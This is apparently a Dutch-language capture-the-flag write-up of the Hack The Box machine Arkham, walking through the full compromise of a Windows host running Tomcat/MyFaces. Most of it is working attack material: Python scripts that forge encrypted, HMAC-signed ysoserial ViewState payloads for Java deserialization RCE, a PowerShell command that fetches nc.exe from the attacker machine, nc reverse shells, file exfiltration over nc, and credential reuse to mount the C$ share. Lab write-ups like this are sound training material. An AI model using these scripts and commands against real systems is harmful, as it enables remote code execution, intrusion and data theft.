htb-arkham-nl

Arkham is een behoorlijk moeilijk vak om als medium te worden gerangschikt. Het moeilijkste deel is het verkrijgen van toegang tot het systeem via een kwetsbaarheid voor deserialisatie van Java, waarbij het kwetsbare object moet worden gecodeerd om het te laten werken. Escalate-rechten zijn dan vrij eenvoudig, zoek gewoon het wachtwoord van een andere gebruiker die toegang heeft tot het gehele bestandssysteem.


Gebruiker

Voer eerst nmap om te zien dat we een IIS op poort 80 , een Apache in poort 8080 en SMB ingeschakeld.

root@kali:~/htb/arkham# nmap -sC -sV 10.10.10.130
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-24 07:56 EST
Nmap scan report for arkham.htb (10.10.10.130)
Host is up (0.041s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8080/tcp open  http          Apache Tomcat 8.5.37
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Mask Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 59s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-12-24T12:58:18
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.22 seconds

Als we de beschikbare aandelen met smbclient , kunnen we de volgende zien.

root@kali:~/htb/arkham# smbclient -L //10.10.10.130
Enter WORKGROUP\root's password:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
BatShare Disk Master Wayne's secrets
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk 
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available

We hebben leesrechten op BatShare en in deze share hebben we maar één bestand appserver.zip , laten we het downloaden om te zien wat erin zit.

root@kali:~/htb/arkham# smbclient //10.10.10.130/BatShare
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Feb 3 08:00:10 2019
.. D 0 Sun Feb 3 08:00:10 2019
appserver.zip A 4046695 Fri Feb 1 01:13:37 2019

5158399 blocks of size 4096. 2130769 blocks available
smb: \>

Pak het uit om twee bestanden te vinden.

root@kali:~/htb/arkham# unzip appserver.zip 
Archive:  appserver.zip
  inflating: IMPORTANT.txt           
  inflating: backup.img  

De txt heeft het volgende bericht.

root@kali:~/htb/arkham# cat IMPORTANT.txt 
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce

En het andere bestand is een LUKS gecodeerde afbeelding, wat betekent dat we een wachtwoord nodig hebben om te zien wat erin zit.

root@kali:~/htb/arkham# file backup.img 
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e

We gaan het wachtwoord bruut forceren, maar het gooien van de hele rockyou.txt zou te veel kosten, dus we kunnen er een subset van maken met alleen de wachtwoorden die batman bevatten, omdat de boxnaam batman’s stad is.

 root @ kali: ~ / htb / arkham # grep batman /usr/share/wordlists/rockyou.txt> batman_rocks.txt

Voer vervolgens hashcat en uiteindelijk zal het juiste wachtwoord batmanforever .

 # hashcat -m 14600 -a 0 backup.img /usr/share/wordlists/rockyou.txt
 batmanforever

Nu, met het wachtwoord kunnen we de afbeelding mounten.

root@kali:~/htb/arkham# cryptsetup luksOpen backup.img backup
Enter passphrase for backup.img: batmanforever

Bevestig dat de afbeelding correct is toegewezen.

root@kali:~/htb/arkham# cryptsetup -v status backup
/dev/mapper/backup is active and is in use.
  type:    LUKS1
  cipher:  aes-xts-plain64
  keysize: 256 bits
  key location: dm-crypt
  device:  /dev/loop0
  loop:    /root/htb/arkham/backup.img
  sector size:  512
  offset:  4096 sectors
  size:    22528 sectors
  mode:    read/write
Command successful.

Hier hebben we het script van de film Batman Begins , een paar foto’s en enkele Tomcat configuratiebestanden.

root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8# ls -laR
.:
total 18
drwxr-xr-x  4 root root  1024 Dec 25 01:00 .
drwxr-x---+ 3 root root  4096 May 25 06:16 ..
drwx------  2 root root 12288 Dec 25 00:59 lost+found
drwxrwxr-x  4 root root  1024 Dec 25 00:23 Mask

./lost+found:
total 13
drwx------ 2 root root 12288 Dec 25 00:59 .
drwxr-xr-x 4 root root  1024 Dec 25 01:00 ..

./Mask:
total 882
drwxrwxr-x 4 root root   1024 Dec 25 00:23 .
drwxr-xr-x 4 root root   1024 Dec 25 01:00 ..
drwxr-xr-x 2 root root   1024 Dec 25 00:22 docs
-rw-rw-r-- 1 root root  96978 Dec 25 00:18 joker.png
-rw-rw-r-- 1 root root 105374 Dec 25 00:20 me.jpg
-rw-rw-r-- 1 root root 687160 Dec 25 00:20 mycar.jpg
-rw-rw-r-- 1 root root   7586 Dec 25 00:19 robin.jpeg
drwxr-xr-x 2 root root   1024 Dec 25 00:24 tomcat-stuff

./Mask/docs:
total 198
drwxr-xr-x 2 root root   1024 Dec 25 00:22 .
drwxrwxr-x 4 root root   1024 Dec 25 00:23 ..
-rw-r--r-- 1 root root 199998 Jun 15  2017 Batman-Begins.pdf

./Mask/tomcat-stuff:
total 193
drwxr-xr-x 2 root root   1024 Dec 25 00:24 .
drwxrwxr-x 4 root root   1024 Dec 25 00:23 ..
-rw-r--r-- 1 root root   1368 Dec 25 00:23 context.xml
-rw-r--r-- 1 root root    832 Dec 25 00:24 faces-config.xml
-rw-r--r-- 1 root root   1172 Dec 25 00:23 jaspic-providers.xml
-rw-r--r-- 1 root root     39 Dec 25 00:24 MANIFEST.MF
-rw-r--r-- 1 root root   7678 Dec 25 00:23 server.xml
-rw-r--r-- 1 root root   2208 Dec 25 00:23 tomcat-users.xml
-rw-r--r-- 1 root root 174021 Dec 25 00:23 web.xml
-rw-r--r-- 1 root root   3498 Dec 25 00:24 web.xml.bak

Wat hier interessant is, is de volgende configuratie in web.xml.bak die we later nodig zullen hebben.

root@kali:/media/root/af474e94-894e-4bb6-897a-adc82884b3d8/Mask/tomcat-stuff# cat web.xml.bak
...
<context-param>
<description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
    <context-param>
        <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
        <param-value>HmacSHA1</param-value>
     </context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
...

Als we dit hebben, kunnen we nu doorgaan naar een andere service.

In poort 80 was een IIS actief en als we binnenkomen, zouden we moeten zien dat er alleen de standaardfoto is, dus niets interessants.

Aan de andere kant lijken we op de Tomcat server op poort 8080 een geconfigureerde website te hebben.

Als we op de link Abonnement bovenaan klikken, worden we doorgestuurd naar /userSubscribe.faces met het volgende formulier.

Op het formulier staat dit verborgen invoerveld.

<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays=" />

Dit ViewState kenmerk is een mechanisme dat MyFaces gebruikt om de huidige status van de weergave op te slaan. Deze status is een serieel object in Java, wat betekent dat we waarschijnlijk een deserialisatie-aanval in Java moeten uitvoeren.

In de MyFaces documentatie staat alle informatie om te leren hoe deze objecten worden gecodeerd en dus hoe ze moeten worden gedecodeerd.

Ervan uitgaande dat deze server de configuratie gebruikt die we in het vorige bestand hebben gevonden en op basis van de standaardwaarden die in de documentatie worden beschreven, weten we het volgende:

  • STATE_SAVING_METHOD: server
  • GEHEIM: SnNGOTg3Ni0 =
  • MAC_ALGORITHM: HmacSHA1
  • ENCRYPTION_ALGORITHM: DES (standaard)
  • PADDING : PKCS5 (standaard)

Omdat de status aan de serverzijde wordt opgeslagen, is de waarde van de ViewState een geserialiseerd Java-object dat een bepaalde status identificeert.

In ons geval zijn dit de stappen die we moeten volgen om de ViewState te decoderen:

  • URL decodeert de ViewState waarde (omdat ik hem uit burp heb gehaald).
  • Base64 decodeert de ViewState waarde.
  • Base64 decodeert het geheim.
  • DES decodeert de gedecodeerde ViewState waarde met het gedecodeerde geheim.

Ik gebruikte het volgende python script om de decoderingsstappen te reproduceren.

import urllib
import sys
import base64
from Crypto.Cipher import DES

secret = base64.b64decode("SnNGOTg3Ni0=")
obj = DES.new(secret, DES.MODE_ECB)

payload = sys.argv[1]
payload = urllib.unquote(payload)
payload = base64.b64decode(payload)
payload += (8 - len(payload) % 8) * 'X' # must be a multiple of 8 in length
payload = obj.decrypt(payload)
print payload

Inderdaad, op de gedecodeerde waarde kunnen we zien dat onze ViewState een serieel object uit Java is.

root@kali:~/htb/arkham# python decrypt.py wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1Rd1x5LURafml70KtDtngjDm0mNzA9qHjYerxo0jW7zu1Qxb78J8MRRgV/oWNsOb5owxiays%3D
��ur[Ljava.lang.Object;��Xs)lxpt6pt/userSubscribe.jsp��Z�ߴ�9l1�/�i���@�3

Wat we nu moeten doen, is een kwaadaardig serieel java-object maken om opdrachten op het systeem uit te voeren, waarbij de ViewState waarde op het POST-verzoek wordt vervangen. Voor deze taak heb ik ysoserial gebruikt.

ysoserial stelt ons in staat om java-geserialiseerde objecten te maken door een payload-type en de opdracht die we willen uitvoeren te selecteren.

 root @ kali: / opt # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "ping 10.10.16.70" |  base64 -w 0
 rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB ++ j / a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB AB5zcQB + + + ABZ1cQB ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB + AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAD3BpbmcgMTAuMTAuMTYuM3QABGV4ZWN1cQB AB4AAAABcQB + + + ACNzcQB ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5Tgi  wIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6

Helaas werkt het niet als we deze waarde rechtstreeks verzenden, omdat deze moet worden gecodeerd zoals we eerder hebben gezien.

Dit zijn de stappen die we moeten volgen om onze payload te coderen en te ondertekenen om het in ons geval correct te laten werken.

  • Base64 decodeert het geheim.
  • Creëer de ysoserial payload.
  • Versleutel de lading met het gedecodeerde geheim met behulp van DES en PKCS5 padding.
  • Maak een HmacSHA1 handtekening van de gecodeerde waarde en het geheim.
  • Voeg de handtekening toe aan de gecodeerde lading.
  • Base64 codeert de payload.
  • URL codeert de payload.
  • Sturen.

Omdat ik niet wist welk type payload zou werken, probeerde ik ze allemaal om te zien welke werd geaccepteerd.

Om het proces te automatiseren heb ik het volgende python script gemaakt waarin ik een payload maak die een ping tegen mijn machine zou moeten uitvoeren.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for type in types:
	try:
		cmd = 'ping 10.10.16.50'
		ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"'
		payload = subprocess.check_output(ysoserial, shell=True)
		payload = cipher.encrypt(payload)
		hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
		payload = base64.b64encode(payload + hmacSignature)
		payload = urllib.quote(payload)

		headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
		data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
		r = requests.post(url, data=data, headers=headers)
	except:
		continue

Als we tcpdump terwijl het script wordt uitgevoerd, zien we dat er een paar pings zijn verzonden, wat betekent dat we RCE hebben!

root@kali:~/htb# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
07:12:52.153901 IP arkham.htb > kali: ICMP echo request, id 1, seq 1, length 40
07:12:52.153923 IP kali > arkham.htb: ICMP echo reply, id 1, seq 1, length 40
07:12:53.036515 IP arkham.htb > kali: ICMP echo request, id 1, seq 2, length 40
07:12:53.036539 IP kali > arkham.htb: ICMP echo reply, id 1, seq 2, length 40
07:12:53.127305 IP arkham.htb > kali: ICMP echo request, id 1, seq 3, length 40
07:12:53.127328 IP kali > arkham.htb: ICMP echo reply, id 1, seq 3, length 40

Om te zien welke payload-typen werken, kunnen we de opdracht wijzigen om een curl te voeren met als pad de naam van de payload-type, zoals deze.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

types = ["BeanShell1", "C3P0", "Clojure", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6", "FileUpload1", "Groovy1", "Hibernate1", "Hibernate2", "JBossInterceptors1", "JRMPClient", "JRMPListener", "JSON1", "JavassistWeld1", "Jdk7u21", "Jython1", "MozillaRhino1", "Myfaces1", "Myfaces2", "ROME", "Spring1", "Spring2", "URLDNS", "Wicket1"]
for type in types:
	try:
		cmd = 'curl http://10.10.16.70/' + type
		ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar ' + type + ' "' + cmd + '"'
		payload = subprocess.check_output(ysoserial, shell=True)
		payload = cipher.encrypt(payload)
		hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
		payload = base64.b64encode(payload + hmacSignature)
		payload = urllib.quote(payload)

		headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
		data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
		r = requests.post(url, data=data, headers=headers)
	except:
		continue

En met behulp van de SimpleHTTPServer module zien we dat alleen CommonsCollections5 en CommonsCollections6 werkten.

root@kali:~/htb/arkham# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found
10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections5 HTTP/1.1" 404 -
10.10.10.130 - - [26/May/2019 17:41:14] code 404, message File not found
10.10.10.130 - - [26/May/2019 17:41:14] "GET /CommonsCollections6 HTTP/1.1" 404 -
10.10.10.130 - - [26/May/2019 17:48:34] code 404, message File not found

Wijzig nu het script een beetje om de gewenste opdracht uit te voeren en gebruik CommonsCollections6 payload-type CommonsCollections6 , waarvan we weten dat het werkt.

import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac
import sys

url = "http://10.10.10.130:8080/userSubscribe.faces"
r = requests.get(url)
cookie = r.headers['set-cookie']

cmd = sys.argv[1]

secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)

ysoserial = 'java -jar /opt/ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' + cmd + '"'
payload = subprocess.check_output(ysoserial, shell=True)
payload = cipher.encrypt(payload)
hmacSignature = hmac.new(secret, payload, hashlib.sha1).digest()
payload = base64.b64encode(payload + hmacSignature)
payload = urllib.quote(payload)

headers = {"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}
data = "j_id_jsp_1623871077_1%3Aemail=caca&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" + payload
r = requests.post(url, data=data, headers=headers)

Vervolgens, om een ​​shell op het systeem te krijgen, heb ik nc van mijn machine gedownload en gebruikt om een ​​reverse shell uit te voeren.

root@kali:~/htb/arkham# python htb-gotham-rce.py "powershell -command \\\"Invoke-WebRequest -Uri http://10.10.16.70/nc.exe -outfile \\programdata\\nc.exe\\\""

En we zouden een shell als alfred moeten krijgen als we naar de opgegeven poort luisterden.

root@kali:/opt# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.130] 49689
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\tomcat\apache-tomcat-8.5.37\bin>whoami
whoami
arkham\alfred

We hebben de gebruikersvlag op het bureaublad van Alfred.

c:\Users\Alfred\Desktop>type user.txt
type user.txt
ba6*****071

Privilege escalatie

Op Alfred-downloads hebben we een back-upmap met een zip .

C:\Users\Alfred\Downloads\backups>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FA90-3873

 Directory of C:\Users\Alfred\Downloads\backups

02/03/2019  08:41 AM    <DIR>          .
02/03/2019  08:41 AM    <DIR>          ..
02/03/2019  08:41 AM           124,257 backup.zip
               1 File(s)        124,257 bytes
               2 Dir(s)   7,414,816,768 bytes free

Met behulp van nc we dit bestand naar onze machine sturen om het uit te pakken en te zien wat erin zit.

C:\Users\Alfred\Downloads\backups>C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.70 6868 < backup.zip
C:\tomcat\apache-tomcat-8.5.37\bin\nc.exe 10.10.16.70 6868 < backup.zip
root@kali:~/htb/arkham# nc -nlvp 6868 > backup.zip
listening on [any] 6868 ...
connect to [10.10.16.45] from (UNKNOWN) [10.10.10.130] 50024

Daar hebben we een .ost bestand.

root@kali:~/htb/arkham# unzip backup.zip 
Archive:  backup.zip
  inflating: alfred@arkham.local.ost 

Dat is een Outlook e-mailmap.

root@kali:~/htb/arkham# file alfred@arkham.local.ost 
alfred@arkham.local.ost: Microsoft Outlook email folder

We kunnen de e-mails ophalen met readpst .

root@kali:~/htb/arkham# readpst alfred@arkham.local.ost 
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
	"Inbox" - 0 items done, 7 items skipped.
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
	"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
	"Calendar" - 0 items done, 3 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
	"Sync Issues" - 3 items done, 0 items skipped.
	"Drafts" - 1 items done, 0 items skipped.

In de map Concepten hebben we de volgende e-mail met een bijgevoegde afbeelding.

 root@kali:~/htb/arkham# cat Drafts.mbox  From "MAILER-DAEMON" Thu Jan 1 00:00:00 1970 From: <MAILER-DAEMON> Subject: To: batman MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--boundary-LibPST-iamunique-897628897_-_-" ... </o:shapelayout></xml><![endif]--></head><body lang=EN-US link="#0563C1" vlink="#954F72" style='tab-interval:.5in'><div class=WordSection1><p class=MsoNormal>Master Wayne stop forgetting your password<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal><span style='mso-no-proof:yes'><img width=677 height=343 id="Picture_x0020_1" src="cid:image001.png@01D4BB4A.F5061EA0"></span><o:p></o:p></p></div></body></html> ----boundary-LibPST-iamunique-897628897_-_- Content-Type: image/png Content-Transfer-Encoding: base64 Content-ID: <image001.png@01D4BB4A.F5061EA0> Content-Disposition: attachment; filename*=utf-8''image001.png; filename="image001.png" iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIAAAAUCKDqAAAAAXNSR0IArs4c6QAAJwVJREFUeF7t 3V+oZdd5GPCjUmibujISRUNh5GhiCya2hI0lVXSoEwXXCRMoqpUXyzR6MFaUIlwh2S9+kB+sB7/Y ElNjWskmDzJ0/FKpItCBGDGSBROGKMYgoaqM3XEsQZBpLazUTelLu8/Z9+677/679jn7O3edO7/L IEbn7v2tb/2+dfa3/5w797qPfuyOhS8CBAgQIEDgWAtcV/T7u7994VjP0eQIECBAYIcF/vKPz97x ...

Decodeer de base64-waarde om de afbeelding te krijgen.

root@kali:~/htb/arkham# echo iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIA... | base64 -d > image001.png

Op de foto hebben we het wachtwoord van Batman ( Zx^#QZX+T!123 ).

En als we de informatie van batman controleren, zien we dat hij deel uitmaakt van de lokale groep Administrators.

C:\Users>net user batman
net user batman
User name                    Batman
Full Name                    
Comment                      
User's comment               
Country/region code          001 (United States)
Account active               Yes
Account expires              Never

Password last set            2/3/2019 9:25:50 AM
Password expires             Never
Password changeable          2/3/2019 9:25:50 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   5/28/2019 1:52:48 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
                             *Users                
Global Group memberships     *None   

Schakel over naar een PowerShell-shell.

C:\Users>powershell
powershell
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users>

En voer nc als batman om nog een omgekeerde shell te maken.

PS C:\Users> $password = "Zx^#QZX+T!123" | ConvertTo-SecureString -AsPlainText -Force
PS C:\Users> $cred = New-Object System.Management.Automation.PSCredential -ArgumentList "Batman",$password
PS C:\Users> Invoke-Command -ScriptBlock {C:\programdata\nc.exe 10.10.16.70 6767 -e cmd.exe} -Credential $cred -computername localhost

We krijgen een nieuwe shell als batman. Maar we hebben nog steeds geen toegang tot de map Administrator.

root@kali:~/htb/arkham# nc -nlvp 6767
listening on [any] 6767 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.130] 50106
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Batman\Documents>whoami
whoami
arkham\batman
C:\Users>cd Administrator
cd Administrator
Access is denied.

Maar zoals we op de afbeelding hebben gezien, kunnen we shares plaatsen, dus gaan we het C$ -volume in G: .

C:\Users>net use G: \\10.10.10.130\C$
net use G: \\10.10.10.130\C$
The command completed successfully.

Ga nu naar G: waar we het hele bestandssysteem hebben.

C:\Users>G:
G:

G:\>dir
dir
 Volume in drive G has no label.
 Volume Serial Number is FA90-3873

 Directory of G:\

02/03/2019  06:30 PM    <DIR>          inetpub
09/15/2018  12:49 PM    <DIR>          PerfLogs
02/03/2019  09:29 AM    <DIR>          Program Files
09/15/2018  02:36 PM    <DIR>          Program Files (x86)
02/01/2019  09:56 AM    <DIR>          tomcat
02/03/2019  06:54 PM    <DIR>          Users
02/03/2019  06:09 PM    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)   7,410,044,928 bytes free

Nu kunnen we toegang krijgen tot de map Administrator en de vlag van root lezen.

G:\Users\Administrator\Desktop>type root.txt
type root.txt
636*****fdb

Een andere manier is, in plaats van het hele bestandssysteem te mounten, kunnen we eenvoudig root’s flag typen.

C:\Users>type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
type \\10.10.10.130\C$\Users\Administrator\Desktop\root.txt
636*****fdb

Gebruikte referentie : https://hipotermia.pw/htb/arkham

gebruikte bestanden : https://github.com/puckiestyle/python/blob/master/htb-arkham-rce.py

Auteur : Puckiestyle

Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *